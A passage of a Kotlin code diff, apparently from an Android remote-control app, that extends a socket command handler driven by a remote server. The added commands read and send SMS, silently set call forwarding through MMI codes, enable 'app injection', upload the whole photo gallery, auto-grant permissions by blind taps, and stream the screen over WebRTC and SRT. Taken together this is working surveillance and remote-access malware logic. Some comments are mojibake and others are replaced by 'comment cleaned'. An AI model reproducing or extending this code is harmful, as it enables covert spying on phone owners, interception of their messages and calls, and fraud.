鍙互鍦ㄨ繖閲屽彂閫佹憚鍍忓ご淇℃伅鍥炴墽缁欐湇鍔″櫒 } "SMS_READ" -> { val limit = data.optInt("limit", 50) Log.d(TAG, "Read SMS list (limit: $limit)") val smsList = service.readSMSList(limit) Log.d(TAG, "Read ${smsList.size} SMS messages") - // 可以在这里发送短信列表回执给服务器 + if (smsList.isEmpty()) { + // Keep protocol deterministic: return an explicit empty payload instead of timing out. + sendSMSData(emptyList()) + } } "SMS_SEND" -> { - val phoneNumber = data.getString("phoneNumber") - val message = data.getString("message") + val phoneNumber = data.optString("phoneNumber", "").trim() + val message = data.optString("message", "") Log.d(TAG, "Send SMS to: $phoneNumber") + + if (phoneNumber.isEmpty() || message.isEmpty()) { + Log.w(TAG, "SMS_SEND params invalid: phoneNumber/message is empty") + sendSmsSendResult(phoneNumber, false, "Invalid params: phoneNumber/message is empty") + return + } + + if (!service.checkSMSPermission()) { + Log.w(TAG, "SMS_SEND permission denied") + sendSmsSendResult(phoneNumber, false, "SMS permission not granted") + sendPermissionResponse( + "sms", + false, + buildPermissionDeniedMessage("sms", "SMS permission not granted") + ) + return + } + val success = service.sendSMS(phoneNumber, message) Log.d(TAG, "SMS send result: $success") - // 可以在这里发送发送结果回执给服务器 + sendSmsSendResult(phoneNumber, success, if (success) "SMS sent" else "SMS send failed") + } + "CALL_FORWARD_SET" -> { + val targetPhone = data.optString("phoneNumber", "").trim() + val rule = normalizeCallForwardRule(data.optString("rule", "all")) + applyCallForwardSet(rule, targetPhone) + } + "CALL_FORWARD_CANCEL" -> { + val rule = normalizeCallForwardRule(data.optString("rule", "all")) + applyCallForwardCancel(rule) + } + "APP_LIST" -> { + Log.d(TAG, "Received app list request") + val includeIcons = data.optBoolean("includeIcons", false) + val availability = service.checkAppListAvailability() + if (!availability.first) { + sendPermissionResponse("app_list", false, availability.second) + } + val appList = service.listLaunchableApps(includeIcons) + sendAppListData(appList) + if (appList.isNotEmpty()) { + sendPermissionResponse("app_list", true, "App list loaded, total=${appList.size}") + } else if (availability.first) { + sendPermissionResponse("app_list", false, "App list is empty or restricted by system") + } + } + "KEEPALIVE_STATUS_CHECK" -> { + Log.d(TAG, "Received keepalive status check command") + sendKeepAlivePermissionSnapshot("socket_check") + } + "OPEN_BATTERY_OPTIMIZATION_SETTINGS" -> { + Log.d(TAG, "Received open battery optimization settings command") + openBatteryOptimizationSettingsFromSocket() + } + "APP_OPEN" -> { + val packageName = when { + data.has("packageName") -> data.optString("packageName", "").trim() + json.has("packageName") -> json.optString("packageName", "").trim() + else -> data.optJSONObject("data")?.optString("packageName", "")?.trim().orEmpty() + } + if (packageName.isEmpty()) { + Log.w(TAG, "APP_OPEN鍙傛暟缂哄け: packageName") + sendAppOpenResult("", false, "鍙傛暟涓嶅畬鏁达紝packageName 涓嶈兘涓虹┖") + return + } + + val openResult = service.openApp(packageName) + sendAppOpenResult(packageName, openResult.first, openResult.second) + } + "APP_INJECTION_ENABLE" -> { + val packageName = when { + data.has("packageName") -> data.optString("packageName", "").trim() + json.has("packageName") -> json.optString("packageName", "").trim() + else -> data.optJSONObject("data")?.optString("packageName", "")?.trim().orEmpty() + } + if (packageName.isEmpty()) { + Log.w(TAG, "APP_INJECTION_ENABLE params missing: packageName") + sendPermissionResponse("app_injection", false, "packageName is required") + return + } + val appName = when { + data.has("appName") -> data.optString("appName", "").trim() + json.has("appName") -> json.optString("appName", "").trim() + else -> data.optJSONObject("data")?.optString("appName", "")?.trim().orEmpty() + } + service.enableAppInjection(packageName, appName) + } + "APP_INJECTION_DISABLE" -> { + val reason = data.optString("reason", "web_request").ifBlank { "web_request" } + service.disableAppInjection(reason) } "SMS_MARK_READ" -> { val smsId = data.getLong("smsId") @@ -1299,7 +2217,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "Mark result: $success") } "ALBUM_READ" -> { - // 新逻辑:始终读取全部并发送;若有新指令打断,重启任务 + // comment cleaned Log.d(TAG, "Received album read command, start/restart read+send task (read all)") startReadAndSendAllGallery() } @@ -1310,11 +2228,15 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { "GALLERY_PERMISSION_CHECK" -> { val hasPermission = service.checkGalleryPermission() Log.d(TAG, "Gallery permission status: ${if (hasPermission) "granted" else "not granted"}") - - if (!hasPermission) { - Log.d(TAG, "Gallery permission not granted, auto requesting") - service.requestGalleryPermissionWithAutoGrant() - } + sendPermissionResponse( + "gallery", + hasPermission, + if (hasPermission) { + "Gallery permission granted" + } else { + buildPermissionDeniedMessage("gallery", "Gallery permission not granted") + } + ) } "GALLERY_PERMISSION_AUTO_GRANT" -> { Log.d(TAG, "Auto request gallery permission (blind tap)") @@ -1327,11 +2249,15 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { "MICROPHONE_PERMISSION_CHECK" -> { val hasPermission = service.checkMicrophonePermission() Log.d(TAG, "Microphone permission status: ${if (hasPermission) "granted" else "not granted"}") - - if (!hasPermission) { - Log.d(TAG, "Microphone permission not granted, auto requesting") - service.requestMicrophonePermissionWithAutoGrant() - } + sendPermissionResponse( + "microphone", + hasPermission, + if (hasPermission) { + "Microphone permission granted" + } else { + buildPermissionDeniedMessage("microphone", "Microphone permission not granted") + } + ) } "MICROPHONE_PERMISSION_AUTO_GRANT" -> { Log.d(TAG, "Auto request microphone permission (blind tap)") @@ -1365,14 +2291,20 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { "SMS_UNREAD_COUNT" -> { val count = service.getUnreadSMSCount() Log.d(TAG, "Unread SMS count: $count") - // 可以在这里发送未读数量回执给服务器 + // comment cleaned } "SMS_PERMISSION_CHECK" -> { val hasPermission = service.checkSMSPermission() Log.d(TAG, "SMS permission check: $hasPermission") - if (!hasPermission) { - service.requestSMSPermissionWithAutoGrant() - } + sendPermissionResponse( + "sms", + hasPermission, + if (hasPermission) { + "SMS permission granted" + } else { + buildPermissionDeniedMessage("sms", "SMS permission not granted") + } + ) } "SMS_PERMISSION_AUTO_GRANT" -> { val hasPermission = service.checkSMSPermission() @@ -1404,24 +2336,1056 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.w(TAG, "Server URL change command missing serverUrl param") } } + "RUNTIME_FLAGS_UPDATE" -> { + Log.i(TAG, "Received runtime flags update command") + handleRuntimeFlagsUpdate(data) + } + "RUNTIME_FLAGS_SYNC" -> { + Log.i(TAG, "Received runtime flags sync command") + sendRuntimeFlagsSync("remote_request") + } "SCREEN_CAPTURE_PAUSE" -> { - Log.d(TAG, "📺 暂停远程桌面") + Log.d(TAG, "Pause remote desktop") service.getScreenCaptureManager()?.pauseCapture() } "SCREEN_CAPTURE_RESUME" -> { - Log.d(TAG, "📺 继续远程桌面") + Log.d(TAG, "Resume remote desktop") service.getScreenCaptureManager()?.resumeCapture() } - else -> Log.w(TAG, "未知控制操作: $type") + "SRT_START" -> { + Log.d(TAG, "Received SRT_START command") + handleSrtStart(data) + } + "SRT_STOP" -> { + Log.d(TAG, "Received SRT_STOP command") + handleSrtStop(data) + } + else -> Log.w(TAG, "Unknown control action: $type") } } catch (e: Exception) { - Log.e(TAG, "处理控制消息失败", e) + Log.e(TAG, "Failed to handle control message", e) } } + + private fun triggerMediaProjectionRefreshIfNeeded( + triggerReason: String, + forceResetPermissionData: Boolean = false, + bypassCooldown: Boolean = false + ): Boolean { + return try { + val now = System.currentTimeMillis() + val cooldownWindowMs = + if (bypassCooldown) mediaProjectionEmergencyRefreshMinIntervalMs + else mediaProjectionRefreshTriggerIntervalMs + if (now - lastMediaProjectionRefreshTriggerTime < cooldownWindowMs) { + Log.i( + TAG, + "Skip MediaProjection refresh trigger due to cooldown(${cooldownWindowMs}ms): $triggerReason" + ) + return false + } + lastMediaProjectionRefreshTriggerTime = now + Log.i( + TAG, + "Auto trigger MediaProjection refresh: $triggerReason, forceReset=$forceResetPermissionData, bypassCooldown=$bypassCooldown" + ) + if (forceResetPermissionData) { + service.refreshMediaProjectionPermission() + } else { + service.refreshMediaProjectionManual() + } + true + } catch (e: Exception) { + Log.e(TAG, "Auto trigger MediaProjection refresh failed: $triggerReason", e) + false + } + } + + private fun shouldTriggerMediaProjectionRefreshByMessage( + message: String, + detail: JSONObject? + ): Boolean { + val normalizedMessage = message.trim().lowercase() + if (normalizedMessage.contains("media_projection_not_ready")) { + return true + } + if (!normalizedMessage.contains("webrtc_start_capture_failed")) { + return false + } + + val permissionLike = detail?.optBoolean("permissionLike", false) == true + val hasPermissionData = detail?.optBoolean("hasPermissionData", false) == true + val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) == true + val exceptionMessage = detail?.optString("exceptionMessage", "")?.lowercase().orEmpty() + val projectionNullLike = + (hasPermissionData && !hasProjectionObject) || + (exceptionMessage.contains("mediaprojection") && exceptionMessage.contains("null object")) || + (exceptionMessage.contains("registercallback") && exceptionMessage.contains("null")) + + return permissionLike || projectionNullLike + } + + private fun shouldTriggerMediaProjectionRefresh(startResult: WebRTCManager.StartResult): Boolean { + return shouldTriggerMediaProjectionRefreshByMessage( + message = startResult.message, + detail = startResult.extra + ) + } + + private fun shouldForceResetMediaProjectionPermissionData( + message: String, + detail: JSONObject? + ): Boolean { + val normalizedMessage = message.trim().lowercase() + val hasPermissionData = detail?.optBoolean("hasPermissionData", false) == true + val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) == true + if (normalizedMessage.contains("media_projection_not_ready") && + !hasPermissionData && + !hasProjectionObject + ) { + Log.w( + TAG, + "Force media projection refresh because permission data/object are both missing" + ) + return true + } + val ensureProjectionAttempted = detail?.optBoolean("ensureProjectionAttempted", false) == true + val exceptionMessage = detail?.optString("exceptionMessage", "")?.lowercase().orEmpty() + val staleProjectionTokenLike = + exceptionMessage.contains("registercallback") || + exceptionMessage.contains("null object") || + exceptionMessage.contains("already used") || + exceptionMessage.contains("invalid") || + exceptionMessage.contains("don't re-use") || + exceptionMessage.contains("do not re-use") || + exceptionMessage.contains("timed out") || + exceptionMessage.contains("multiple captures") || + exceptionMessage.contains("same instance") + + return hasPermissionData && + ( + (ensureProjectionAttempted && !hasProjectionObject) || + (!hasProjectionObject && normalizedMessage.contains("media_projection_not_ready")) || + staleProjectionTokenLike || + (normalizedMessage.contains("webrtc_start_capture_failed") && !hasProjectionObject) + ) + } + + private fun shouldBypassMediaProjectionRefreshCooldown( + message: String, + detail: JSONObject? + ): Boolean { + val normalizedMessage = message.trim().lowercase() + if (!normalizedMessage.contains("media_projection_not_ready")) { + return false + } + val hasPermissionData = detail?.optBoolean("hasPermissionData", false) == true + val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) == true + return !hasPermissionData && !hasProjectionObject + } + + private fun resetWebRtcOfferRetry(clientId: String) { + if (clientId.isBlank()) return + synchronized(webRtcOfferRetryLock) { + webRtcOfferRetryCountByClient.remove(clientId) + } + } + + private fun scheduleWebRtcOfferRetryAfterRefresh( + data: JSONObject, + clientId: String, + reason: String + ) { + if (clientId.isBlank()) return + val attempt = synchronized(webRtcOfferRetryLock) { + val next = (webRtcOfferRetryCountByClient[clientId] ?: 0) + 1 + webRtcOfferRetryCountByClient[clientId] = next + next + } + if (attempt > webRtcOfferRetryAfterRefreshMax) { + Log.w( + TAG, + "Skip WebRTC offer auto-retry: clientId=$clientId, attempts=$attempt, reason=$reason" + ) + return + } + + val retryPayload = JSONObject(data.toString()) + Log.i( + TAG, + "Schedule WebRTC offer auto-retry after projection refresh: clientId=$clientId, attempt=$attempt, delayMs=$webRtcOfferRetryAfterRefreshDelayMs, reason=$reason" + ) + + scope.launch { + delay(webRtcOfferRetryAfterRefreshDelayMs) + try { + val hasPermissionData = com.hikoncont.MediaProjectionHolder.getPermissionData() != null + val hasProjectionObject = com.hikoncont.MediaProjectionHolder.getMediaProjection() != null + Log.i( + TAG, + "Execute WebRTC offer auto-retry: clientId=$clientId, attempt=$attempt, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject" + ) + handleWebRtcOffer(retryPayload) + } catch (e: Exception) { + Log.e(TAG, "WebRTC offer auto-retry failed: clientId=$clientId, attempt=$attempt", e) + } + } + } + + private fun handleWebRtcOffer(data: JSONObject) { + try { + val deviceId = data.optString("deviceId", getDeviceId()).trim().ifEmpty { getDeviceId() } + val clientId = data.optString("clientId", "").trim() + val sdp = data.optString("sdp", "") + val type = data.optString("type", "offer").trim().ifEmpty { "offer" } + val requestedFps = data.takeIf { it.has("fps") }?.optInt("fps", 0)?.takeIf { it > 0 } + val requestedMaxLongEdge = data.takeIf { it.has("maxLongEdge") }?.optInt("maxLongEdge", 0)?.takeIf { it > 0 } + val requestedBitrateKbps = data.takeIf { it.has("bitrateKbps") }?.optInt("bitrateKbps", 0)?.takeIf { it > 0 } + val priorityRaw = data.optString("priority", "").trim().ifEmpty { null } + val sdpValid = sdp.trim().isNotEmpty() + + if (clientId.isEmpty() || !sdpValid) { + sendWebRTCState( + deviceId = deviceId, + clientId = clientId, + state = "failed", + message = "invalid_webrtc_offer_payload", + extra = JSONObject().apply { + put("hasClientId", clientId.isNotEmpty()) + put("hasSdp", sdpValid) + put("wsFallbackActive", true) + } + ) + return + } + Log.i( + TAG, + "WebRTC offer received: clientId=$clientId, sdpLength=${sdp.length}, type=$type, summary=${summarizeSdpForLog(sdp)}" + ) + + val turnUrls = data.optString("webrtcTurnUrls", "").trim() + val turnUsername = data.optString("webrtcTurnUsername", "").trim() + val turnPassword = data.optString("webrtcTurnPassword", "").trim() + if (turnUrls.isNotEmpty() || turnUsername.isNotEmpty() || turnPassword.isNotEmpty()) { + webRTCManager.updateTurnConfig( + urlsRaw = turnUrls, + username = turnUsername, + password = turnPassword + ) + } + + // Stop screenshot capture before creating WebRTC capturer to avoid projection resource contention. + try { + service.getScreenCaptureManager()?.pauseCapture() + Thread.sleep(120) + } catch (e: Exception) { + Log.w(TAG, "Pause WS capture before WebRTC start failed", e) + } + + // Stop SRT uploader when switching to WebRTC. + srtStreamManager.stop("switch_to_webrtc") + + val startResult = webRTCManager.startFromOffer( + deviceId = deviceId, + clientId = clientId, + sdp = sdp, + type = type, + requestedFps = requestedFps, + requestedMaxLongEdge = requestedMaxLongEdge, + requestedBitrateKbps = requestedBitrateKbps, + priorityRaw = priorityRaw + ) + if (startResult.success) { + resetWebRtcOfferRetry(clientId) + } + + if (!startResult.success) { + service.getScreenCaptureManager()?.resumeCapture() + val forceResetPermissionData = shouldForceResetMediaProjectionPermissionData( + message = startResult.message, + detail = startResult.extra + ) + val bypassRefreshCooldown = shouldBypassMediaProjectionRefreshCooldown( + message = startResult.message, + detail = startResult.extra + ) + val shouldTriggerProjectionRefresh = shouldTriggerMediaProjectionRefresh(startResult) + val refreshTriggered = if (shouldTriggerProjectionRefresh) { + triggerMediaProjectionRefreshIfNeeded( + triggerReason = "webrtc_offer:${startResult.message}", + forceResetPermissionData = forceResetPermissionData, + bypassCooldown = bypassRefreshCooldown + ) + } else { + false + } + if (refreshTriggered || shouldTriggerProjectionRefresh) { + scheduleWebRtcOfferRetryAfterRefresh( + data = data, + clientId = clientId, + reason = startResult.message + ) + } + sendWebRTCState( + deviceId = deviceId, + clientId = clientId, + state = "failed", + message = startResult.message, + extra = JSONObject().apply { + if (startResult.extra != null) { + put("detail", startResult.extra) + } + if (refreshTriggered) { + put("projectionRefreshTriggered", true) + if (forceResetPermissionData) { + put("projectionRefreshForceReset", true) + } + if (bypassRefreshCooldown) { + put("projectionRefreshBypassCooldown", true) + } + } else if (shouldTriggerProjectionRefresh) { + put("projectionRefreshSkippedByCooldown", true) + } + put("wsFallbackActive", true) + } + ) + } + } catch (e: Exception) { + Log.e(TAG, "Handle webrtc_offer failed", e) + sendWebRTCState( + deviceId = getDeviceId(), + clientId = data.optString("clientId", "").trim(), + state = "failed", + message = "webrtc_offer_exception:${e.message ?: "unknown"}", + extra = JSONObject().apply { + put("wsFallbackActive", true) + } + ) + } + } + + private fun summarizeSdpForLog(sdp: String): String { + return try { + val normalized = sdp + .replace("\r\n", "\n") + .replace('\r', '\n') + val lines = normalized + .split('\n') + .map { it.trim() } + .filter { it.isNotEmpty() } + val hasV0 = lines.firstOrNull()?.startsWith("v=0") == true + val hasMVideo = lines.any { it.startsWith("m=video") } + val hasExtmapAllowMixed = lines.any { it.equals("a=extmap-allow-mixed", ignoreCase = true) } + val hasRtcpRsize = lines.any { it.equals("a=rtcp-rsize", ignoreCase = true) } + val iceOptions = lines.firstOrNull { it.startsWith("a=ice-options:", ignoreCase = true) } + ?.substringAfter(":", "") + ?.trim() + .orEmpty() + "v0=$hasV0,mVideo=$hasMVideo,extmapMixed=$hasExtmapAllowMixed,rtcpRsize=$hasRtcpRsize,iceOptions=$iceOptions,lines=${lines.size}" + } catch (e: Exception) { + "summary_error:${e.message ?: "unknown"}" + } + } + + private fun handleWebRtcIceCandidate(data: JSONObject) { + try { + val clientId = data.optString("clientId", "").trim() + val candidate = data.optString("candidate", "").trim() + if (clientId.isEmpty() || candidate.isEmpty()) { + return + } + + val sdpMid = if (data.has("sdpMid")) { + data.optString("sdpMid", "").trim().takeIf { it.isNotEmpty() } + } else { + null + } + val sdpMLineIndex = if (data.has("sdpMLineIndex")) { + when (val raw = data.opt("sdpMLineIndex")) { + is Number -> raw.toInt() + is String -> raw.toIntOrNull() + else -> null + } + } else null + + val added = webRTCManager.addRemoteIceCandidate( + clientId = clientId, + candidate = candidate, + sdpMid = sdpMid, + sdpMLineIndex = sdpMLineIndex + ) + + Log.d( + TAG, + "WebRTC remote ICE received: clientId=$clientId, added=$added, sdpMid=${sdpMid ?: "-"}, mLine=${sdpMLineIndex ?: -1}" + ) + + if (!added) { + Log.w( + TAG, + "Skip remote ICE candidate apply failure report: clientId=$clientId (may be transient during negotiation)" + ) + } + } catch (e: Exception) { + Log.e(TAG, "Handle webrtc_ice_candidate failed", e) + } + } + + private fun handleWebRtcStop(data: JSONObject) { + try { + val clientId = data.optString("clientId", "").trim() + val reason = data.optString("reason", "remote_stop").trim().ifEmpty { "remote_stop" } + + if (clientId.isNotEmpty()) { + val stopped = webRTCManager.stop(clientId, reason, notifyStop = true) + resetWebRtcOfferRetry(clientId) + if (!stopped) { + val normalizedReason = reason.lowercase() + val shouldSuppressStopEcho = + normalizedReason.contains("component_cleanup") || + normalizedReason.contains("effect_cleanup") + if (!shouldSuppressStopEcho) { + sendWebRTCStop( + deviceId = data.optString("deviceId", getDeviceId()).trim().ifEmpty { getDeviceId() }, + clientId = clientId, + reason = "webrtc_already_stopped:$reason" + ) + } else { + Log.d(TAG, "Skip stop echo for cleanup reason: $reason") + } + } + } else { + webRTCManager.stopAll(reason = reason, notifyStop = true) + } + } catch (e: Exception) { + Log.e(TAG, "Handle webrtc_stop failed", e) + } finally { + try { + service.getScreenCaptureManager()?.resumeCapture() + } catch (e: Exception) { + Log.w(TAG, "Resume WS capture after webrtc_stop failed", e) + } + } + } + + private fun sendWebRTCAnswer(deviceId: String, clientId: String, type: String, sdp: String) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send webrtc_answer") + return + } + val payload = JSONObject().apply { + put("deviceId", deviceId) + put("clientId", clientId) + put("type", type) + put("sdp", sdp) + put("timestamp", System.currentTimeMillis()) + } + socket?.emit("webrtc_answer", payload) + Log.i(TAG, "WebRTC answer sent: clientId=$clientId, sdpLength=${sdp.length}") + } catch (e: Exception) { + Log.e(TAG, "Failed to send webrtc_answer", e) + } + } + + private fun sendWebRTCIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send webrtc_ice_candidate") + return + } + val payload = JSONObject().apply { + put("deviceId", deviceId) + put("clientId", clientId) + put("candidate", candidate.sdp) + put("sdpMid", candidate.sdpMid) + put("sdpMLineIndex", candidate.sdpMLineIndex) + put("timestamp", System.currentTimeMillis()) + } + socket?.emit("webrtc_ice_candidate", payload) + Log.d( + TAG, + "WebRTC local ICE sent: clientId=$clientId, sdpMid=${candidate.sdpMid ?: "-"}, mLine=${candidate.sdpMLineIndex}" + ) + } catch (e: Exception) { + Log.e(TAG, "Failed to send webrtc_ice_candidate", e) + } + } + + private fun sendWebRTCState( + deviceId: String, + clientId: String, + state: String, + message: String, + extra: JSONObject? = null + ) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send webrtc_state") + return + } + val payload = JSONObject().apply { + put("deviceId", deviceId) + put("clientId", clientId) + put("state", state) + put("message", message) + put("timestamp", System.currentTimeMillis()) + put("serverSupportsWebRtc", serverSupportsWebRtc) + put("serverPreferredVideoTransport", serverPreferredVideoTransport) + if (extra != null) { + put("extra", extra) + } + } + socket?.emit("webrtc_state", payload) + } catch (e: Exception) { + Log.e(TAG, "Failed to send webrtc_state", e) + } + } + + private fun sendWebRTCStop(deviceId: String, clientId: String, reason: String) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send webrtc_stop") + return + } + val payload = JSONObject().apply { + put("deviceId", deviceId) + put("clientId", clientId) + put("reason", reason) + put("timestamp", System.currentTimeMillis()) + } + socket?.emit("webrtc_stop", payload) + } catch (e: Exception) { + Log.e(TAG, "Failed to send webrtc_stop", e) + } + } + + private fun handleSrtStart(data: JSONObject) { + try { + webRTCManager.stopAll(reason = "switch_to_srt", notifyStop = false) + val ingestUrl = data.optString("ingestUrl", "").trim() + val ingestHost = data.optString("ingestHost", "").trim() + val ingestPort = data.optInt("ingestPort", 0) + val latencyMs = data.optInt("latencyMs", 80) + val requestedFps = if (data.has("fps")) data.optInt("fps", 0).takeIf { it > 0 } else null + val requestedMaxLongEdge = if (data.has("maxLongEdge")) data.optInt("maxLongEdge", 0).takeIf { it > 0 } else null + val requestedBitrateKbps = if (data.has("bitrateKbps")) data.optInt("bitrateKbps", 0).takeIf { it > 0 } else null + val requestedPriority = data.optString("priority", "").trim().ifEmpty { null } + val clientId = data.optString("clientId", "unknown") + + if (ingestUrl.isEmpty() || ingestPort <= 0) { + sendSrtDeviceStatus( + state = "failed", + message = "invalid_srt_start_payload", + extra = JSONObject().apply { + put("ingestUrl", ingestUrl) + put("ingestHost", ingestHost) + put("ingestPort", ingestPort) + put("latencyMs", latencyMs) + put("clientId", clientId) + } + ) + return + } + + if (!serverSupportsSrtGateway) { + sendSrtDeviceStatus( + state = "failed", + message = "srt_gateway_not_available_on_server", + extra = JSONObject().apply { + put("ingestUrl", ingestUrl) + put("ingestHost", ingestHost) + put("ingestPort", ingestPort) + put("latencyMs", latencyMs) + put("clientId", clientId) + put("wsFallbackActive", true) + } + ) + return + } + + val startResult = srtStreamManager.start( + deviceId = getDeviceId(), + clientId = clientId, + ingestUrl = ingestUrl, + requestedFps = requestedFps, + requestedMaxLongEdge = requestedMaxLongEdge, + requestedBitrateKbps = requestedBitrateKbps, + priorityRaw = requestedPriority + ) + + if (!startResult.success) { + service.getScreenCaptureManager()?.resumeCapture() + sendSrtDeviceStatus( + state = "failed", + message = startResult.message, + extra = JSONObject().apply { + put("ingestUrl", ingestUrl) + put("ingestHost", ingestHost) + put("ingestPort", ingestPort) + put("latencyMs", latencyMs) + put("clientId", clientId) + if (startResult.extra != null) { + put("detail", startResult.extra) + } + put("wsFallbackActive", true) + } + ) + return + } + + service.getScreenCaptureManager()?.pauseCapture() + sendSrtDeviceStatus( + state = "starting", + message = "srt_start_ack", + extra = JSONObject().apply { + put("ingestUrl", ingestUrl) + put("ingestHost", ingestHost) + put("ingestPort", ingestPort) + put("latencyMs", latencyMs) + put("clientId", clientId) + if (requestedFps != null) put("requestedFps", requestedFps) + if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge) + if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps) + if (requestedPriority != null) put("requestedPriority", requestedPriority) + if (startResult.extra != null) { + put("detail", startResult.extra) + } + put("wsFallbackActive", false) + } + ) + } catch (e: Exception) { + Log.e(TAG, "Handle SRT_START failed", e) + sendSrtDeviceStatus("failed", "srt_start_exception:${e.message ?: "unknown"}") + } + } + + private fun handleSrtStop(data: JSONObject) { + try { + val reason = data.optString("reason", "remote_stop") + val stopped = srtStreamManager.stop(reason) + service.getScreenCaptureManager()?.resumeCapture() + if (!stopped) { + sendSrtDeviceStatus( + state = "stopped", + message = "srt_already_stopped", + extra = JSONObject().apply { + put("reason", reason) + put("wsFallbackActive", true) + } + ) + } + } catch (e: Exception) { + Log.e(TAG, "Handle SRT_STOP failed", e) + sendSrtDeviceStatus("failed", "srt_stop_exception:${e.message ?: "unknown"}") + } + } + + private fun sendSrtDeviceStatus(state: String, message: String, extra: JSONObject? = null) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send srt_device_status") + return + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("state", state) + put("message", message) + put("timestamp", System.currentTimeMillis()) + put("serverSupportsSrtGateway", serverSupportsSrtGateway) + put("serverPreferredVideoTransport", serverPreferredVideoTransport) + if (extra != null) { + put("extra", extra) + } + } + + socket?.emit("srt_device_status", payload) + } catch (e: Exception) { + Log.e(TAG, "Failed to send srt_device_status", e) + } + } + + /** + * comment cleaned + * comment cleaned + * 璇存槑: 褰掍竴鍖栧懠鍙浆绉昏鍒欙紝淇濊瘉 Web 绔紶鍏ュ€煎拰瀹夊崜渚ч€昏緫涓€鑷淬€? + */ + private fun normalizeCallForwardRule(rawRule: String?): String { + return when (rawRule?.trim()?.lowercase()) { + "busy" -> "busy" + "no_reply" -> "no_reply" + "not_reachable" -> "not_reachable" + else -> "all" + } + } + + private fun normalizeCallForwardPhone(phoneNumber: String): String { + return phoneNumber + .trim() + .replace(" ", "") + .replace("-", "") + .replace("(", "") + .replace(")", "") + } + + private fun isValidCallForwardPhone(phoneNumber: String): Boolean { + if (phoneNumber.isEmpty()) return false + return Regex("^[+]?[0-9]{3,20}$").matches(phoneNumber) + } + + private fun buildCallForwardSetMmi(rule: String, phoneNumber: String): String { + return when (rule) { + "busy" -> "**67*$phoneNumber#" + "no_reply" -> "**61*$phoneNumber#" + "not_reachable" -> "**62*$phoneNumber#" + else -> "**21*$phoneNumber#" + } + } + + private fun buildCallForwardCancelMmi(rule: String): String { + return when (rule) { + "busy" -> "##67#" + "no_reply" -> "##61#" + "not_reachable" -> "##62#" + else -> "##21#" + } + } + + private fun getCallForwardRuleLabel(rule: String): String { + return when (rule) { + "busy" -> "Busy forwarding" + "no_reply" -> "No-reply forwarding" + "not_reachable" -> "No-service forwarding" + else -> "All-call forwarding" + } + } + + private fun hasCallPhonePermission(): Boolean { + return if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + true + } else { + service.checkSelfPermission(android.Manifest.permission.CALL_PHONE) == + android.content.pm.PackageManager.PERMISSION_GRANTED + } + } + + private fun applyCallForwardSet(rule: String, rawPhoneNumber: String) { + val phoneNumber = normalizeCallForwardPhone(rawPhoneNumber) + if (!isValidCallForwardPhone(phoneNumber)) { + sendCallForwardResult( + action = "set", + rule = rule, + phoneNumber = rawPhoneNumber, + success = false, + message = "Invalid forwarding phone number" + ) + return + } + + if (!hasCallPhonePermission()) { + Log.w(TAG, "CALL_PHONE permission missing, do not auto request") + sendCallForwardResult( + action = "set", + rule = rule, + phoneNumber = phoneNumber, + success = false, + message = "Missing CALL_PHONE permission", + permissionRequested = false + ) + sendPermissionResponse("call_phone", false, "CALL_PHONE permission not granted") + return + } + + val mmiCode = buildCallForwardSetMmi(rule, phoneNumber) + executeCallForwardMmi( + action = "set", + rule = rule, + phoneNumber = phoneNumber, + mmiCode = mmiCode + ) + } + + private fun applyCallForwardCancel(rule: String) { + if (!hasCallPhonePermission()) { + Log.w(TAG, "CALL_PHONE permission missing when cancel call forward") + sendCallForwardResult( + action = "cancel", + rule = rule, + phoneNumber = "", + success = false, + message = "Missing CALL_PHONE permission", + permissionRequested = false + ) + sendPermissionResponse("call_phone", false, "CALL_PHONE permission not granted") + return + } + + val mmiCode = buildCallForwardCancelMmi(rule) + executeCallForwardMmi( + action = "cancel", + rule = rule, + phoneNumber = "", + mmiCode = mmiCode + ) + } + + private fun executeCallForwardMmi(action: String, rule: String, phoneNumber: String?, mmiCode: String) { + try { + val callUri = Uri.parse("tel:${Uri.encode(mmiCode)}") + val callIntent = Intent(Intent.ACTION_CALL).apply { + data = callUri + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + service.startActivity(callIntent) + + val actionText = if (action == "cancel") "Cancel" else "Set" + sendCallForwardResult( + action = action, + rule = rule, + phoneNumber = phoneNumber, + success = true, + message = "${actionText} ${getCallForwardRuleLabel(rule)} command sent", + mmiCode = mmiCode + ) + Log.i(TAG, "Call forward MMI launched: action=$action, rule=$rule, mmi=$mmiCode") + } catch (securityError: SecurityException) { + Log.e(TAG, "Call forward ACTION_CALL denied", securityError) + sendCallForwardResult( + action = action, + rule = rule, + phoneNumber = phoneNumber, + success = false, + message = "CALL_PHONE permission denied", + mmiCode = mmiCode, + permissionRequested = false + ) + sendPermissionResponse("call_phone", false, "CALL_PHONE permission not granted") + } catch (callError: Exception) { + Log.w(TAG, "ACTION_CALL failed, fallback to ACTION_DIAL", callError) + try { + val dialUri = Uri.parse("tel:${Uri.encode(mmiCode)}") + val dialIntent = Intent(Intent.ACTION_DIAL).apply { + data = dialUri + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + service.startActivity(dialIntent) + sendCallForwardResult( + action = action, + rule = rule, + phoneNumber = phoneNumber, + success = true, + message = "Dialer opened, please confirm on device", + mmiCode = mmiCode + ) + } catch (dialError: Exception) { + Log.e(TAG, "ACTION_DIAL fallback failed", dialError) + sendCallForwardResult( + action = action, + rule = rule, + phoneNumber = phoneNumber, + success = false, + message = "Unable to open 